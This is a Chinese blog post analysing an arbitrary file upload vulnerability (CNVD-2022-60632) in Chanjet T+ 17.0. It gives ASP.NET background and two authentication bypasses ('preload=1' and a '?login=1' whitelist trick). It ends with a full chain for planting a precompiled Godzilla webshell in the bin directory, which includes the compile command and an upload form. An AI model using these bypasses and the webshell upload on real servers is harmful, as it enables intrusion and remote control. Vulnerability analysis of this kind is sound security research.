复制代码

7. 畅捷通T+任意文件上传漏洞分析

在19年的时候已经有人分析过用友畅捷通T+《代码审计入门之用友畅捷通T+代码审计

ASP.NET前置知识

在分析代码之前先了解一下ASP.NET的一些基础知识和关键信息

ASP.NET 支持三种不同的开发模式:

审计ASP.NET站点需要重要关注的文件有Global.asaxWeb.config

Global.asax

Web.config

Global.asax是一个全局文件,一个ASP.NET的应用程序文件,是从HttpApplication基类派生的类。

响应的是应用程序级别和会话级别事件 ,当需要处理应用程序事件或会话事件时,可建立使用Global.asax文件。

Web.config是一个配置文件,是基于XML的文本文件。主要是通过配置相关节点来实现数据库连接以及身份验证等功能。

Web.config文件并不会编译进dll文件中,将来有变化时,可直接用记事本打开Web.config文件进行编辑修改。

按执行顺序来解释一下Global.asax.cs中相应的事件处理方法的含义:

Application_BeginRequest

BeginRequest是在收到Request时第一个触发的事件,这个方法自然就是第一个执行的了

Application_AuthenticateRequest

当安全模块已经建立了当前用户的标识后执行

Application_AuthorizeRequest

当安全模块已经验证了当前用户的授权时执行

Application_ResolveRequestCache

当ASP.NET完成授权事件以使缓存模块从缓存中为请求提供服务时发生,从而跳过处理程序(页面或者是WebService)的执行。这样做可以改善网站的性能,这个事件还可以用来判断正文是不是从Cache中得到的

Application_AcquireRequestState

当ASP.NET获取当前请求所关联的当前状态(如Session)时执行

Application_PreRequestHandlerExecute

当ASP.Net即将把请求发送到处理程序对象(页面或者是WebService)之前执行。这个时候,Session就可以用了

Application_PostRequestHandlerExecute

当处理程序对象(页面或者是WebService)工作完成之后执行

Application_ReleaseRequestState

在ASP.NET执行完所有请求处理程序后执行。ReleaseRequestState事件将使当前状态数据被保存

Application_UpdateRequestCache

在ASP.NET执行完处理程序后,为了后续的请求而更新响应缓存时执行

Application_EndRequest

同上,EndRequest是在响应Request时最后一个触发的事件,这个方法自然就是最后一个执行的

Application_PreSendRequestHeaders

向客户端发送Http标头之前执行

Application_PreSendRequestContent

向客户端发送Http正文之前执行

预编译:

简单的来说,就是在网站发布时将aspx文件进行编译,转换成dll文件。因为.NET程序在运行时会优先加载bin目录下的程序集 即index.aspx -> /bin/index.dll

在用户访问index.aspx时,则直接由index.dll进行处理。而不是index.aspx。一旦进行预编译后,相关程序会被转换为dll存储在bin目录下。这时候,程序的访问路径和相关逻辑,都被封装成了dll。无论根目录下是否存在index.aspx,都可以正常处理特定路由下的功能

部署时不同文件类型对应的预编译操作和输出位置:

文件类型

预编译操作

输出位置

.aspx、ascx、.master

生成程序集和一个指向该程序集的.compiled文件。原始文件保留在原位置,作为完成请求的占位符

程序集和.compiled文件写入Bin文件夹中。页(去除内容的.aspx文件)保留在其原始位置

.asmx、.ashx

生成程序集。原始文件保留在原位置,作为完成请求的占位符

Bin文件夹

App_Code文件夹中的文件

生成一个或多个程序集(取决于Web.config设置)

Bin文件夹

未包含在App_Code文件夹中的.cs或.vb文件

与依赖于这些文件的页或资源一起编译

Bin文件夹

Bin文件夹中的现有.dll文件

按原样复制文件

Bin文件夹

资源(.resx)文件

对于App_LocalResources或App_GlobalResources文件夹中找到的.resx文件,生成一个或多个程序集以及一个区域性结构

Bin文件夹

App_Themes文件夹及子文件夹中的文件

在目标位置生成程序集并生成指向这些程序集的.compiled文件

Bin文件夹

静态文件(.htm、.html、图形文件等)

按原样复制文件

与源中结构相同

浏览器定义文件

按原样复制文件

App_Browsers

依赖项目

将依赖项目的输出生成到程序集中

Bin文件夹

Web.config文件

按原样复制文件

与源中结构相同

Global.asax文件

编译到程序集中

Bin文件夹

ASP.NET中获取Request URL的各个部分

此部分转载自《ASP.NET 如何取得 Request URL 的各個部分

url地址:http://localhost:1897/News/Press/Content.aspx/123?id=1#toc

Request.ApplicationPath

/

Request.PhysicalPath

D:\Projects\Solution\web\News\Press\Content.aspx

System.IO.Path.GetDirectoryName(Request.PhysicalPath)

D:\Projects\Solution\web\News\Press

Request.PhysicalApplicationPath

D:\Projects\Solution\web\

System.IO.Path.GetFileName(Request.PhysicalPath)

Content.aspx

Request.CurrentExecutionFilePath

/News/Press/Content.aspx

Request.FilePath

/News/Press/Content.aspx

Request.Path

/News/Press/Content.aspx/123

Request.RawUrl

/News/Press/Content.aspx/123?id=1

Request.Url.AbsolutePath

/News/Press/Content.aspx/123

Request.Url.AbsoluteUri

http://localhost:1897/News/Press/Content.aspx/123?id=1

Request.Url.Scheme

http

Request.Url.Host

localhost

Request.Url.Port

1897

Request.Url.Authority

localhost:1897

Request.Url.LocalPath

/News/Press/Content.aspx/123

Request.PathInfo

/123

Request.Url.PathAndQuery

/News/Press/Content.aspx/123?id=1

Request.Url.Query

?id=1

Request.Url.Fragment

 

Request.Url.Segments

/
News/
Press/
Content.aspx/
123

环境搭建

在官网下载17.0版本:https://dad.chanapp.chanjet.com/TplusYZHJ17.0.zip

直接点击安装即可

安装完如下图:

漏洞分析

CNVD-2022-60632是任意文件上传,涉及接口为:/tplus/SM/SetupAccount/Upload.aspx?preload=1

先来看Upload.aspx文件

发现畅捷通T+整套程序用了预编译,到根目录的/bin下找对应的compiled文件

找对应的编译之后的dll文件:App_Web_upload.aspx.9475d17f.dll

使用反编译工具:ILSPY,dnSpy...

 

通过上面的代码发现并没有对上传文件的后缀做判断,只校验了Content-Type是否为图片形式(image/jpeg,image/bmp,image/gif,image/pjpeg),尝试发包

登录校验绕过

此接口做了权限校验,但是在接口代码中并没有发现校验用户身份的地方

看一下引用文件,发现App_global.asax引用了App_Web_global.asax.cs.cdcab7d2这个文件

 

查看编译后的App_Web_global.asax.cs.cdcab7d2.dll文件

发现Application_PreRequestHandlerExecute函数中存在身份校验的地方,在前面也说过这个函数在当ASP.Net即将把请求发送到处理程序对象(页面或者是WebService)之前执行(可以理解为java spring框架的过滤/拦截器)

可以看到只要return出去,就可以绕过登陆校验

先来简单分析一下上面红框中的条件是否存在绕过登录校验的可能

1) 特殊字段

bool flag = context.Request.QueryString["preload"] == "1";
text = HttpContext.Current.Request.Url.ToString();
if (flag)
{
    return;
}

当请求中参数preload == 1,就直接return出权限校验函数

/tplus/SM/SetupAccount/Upload.aspx?preload=1

成功绕过身份校验上传成功

2) 白名单绕过

text = HttpContext.Current.Request.Url.ToString(); 
if (RequestChecker.IsBaseRquest(text))
{
  return;
}

跟进IsBaseRquest方法

获取请求的url,使用indexOf方法判断login,token,.js,/rest...第一次在url中出现的位置

之前如果看过我写的《Java框架的权限绕过总结》这篇文章,就会知道在tomcat+spring配合下可以使用白名单穿越的方式来绕过权限校验,也就是 /admin/add == /admin/1.js/../add,不过那种绕过方式是基于使用getRequestURI()方法获取处理请求的url,这里也可以尝试一下

失败

不过这里可以使用?号分割的方式来绕过,因为使用indexof方法只判断请求的url是否包含这些白名单字段

/tplus/SM/SetupAccount/Upload.aspx?login=1

成功绕过身份校验上传成功

预编译上传木马文件

前面提到畅捷通T+整套程序用了预编译,所以直接上传aspx木马是没有办法解析的

在前台访问会显示编译错误

目前的方法是自己往bin目录里面写一个已编译的aspx文件

可以先使用哥斯拉生成一个木马

然后在本地执行aspnet_compiler.exe进行编译

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe -v \ -p C:\Users\ferryman\Desktop\iss -D C:\Users\ferryman\Desktop\123 

-p 哥斯拉木马所在的目录 
-D 表示要生成的那个目录

 

执行完毕后,查看C:\Users\ferryman\Desktop\123\bin目录

把dll,compiled这两个文件上传到bin目录中

创建一个用于文件上传的html文件

<form action="http://192.168.19.132/tplus/SM/SetupAccount/Upload.aspx?preload=1" name="form1" id="form1" method="post" enctype="image/jpeg"> 
    <input name="File1" type="file" id="File1"> <br> 
    <input type="submit" value="上 传"> 
</form>

上传dll文件

上传compiled文件

看下程序目录是否上传成功

使用哥斯拉链接

 

posted @ 2022-10-15 18:03  bmjoker  阅读(2774)  评论(0编辑  收藏  举报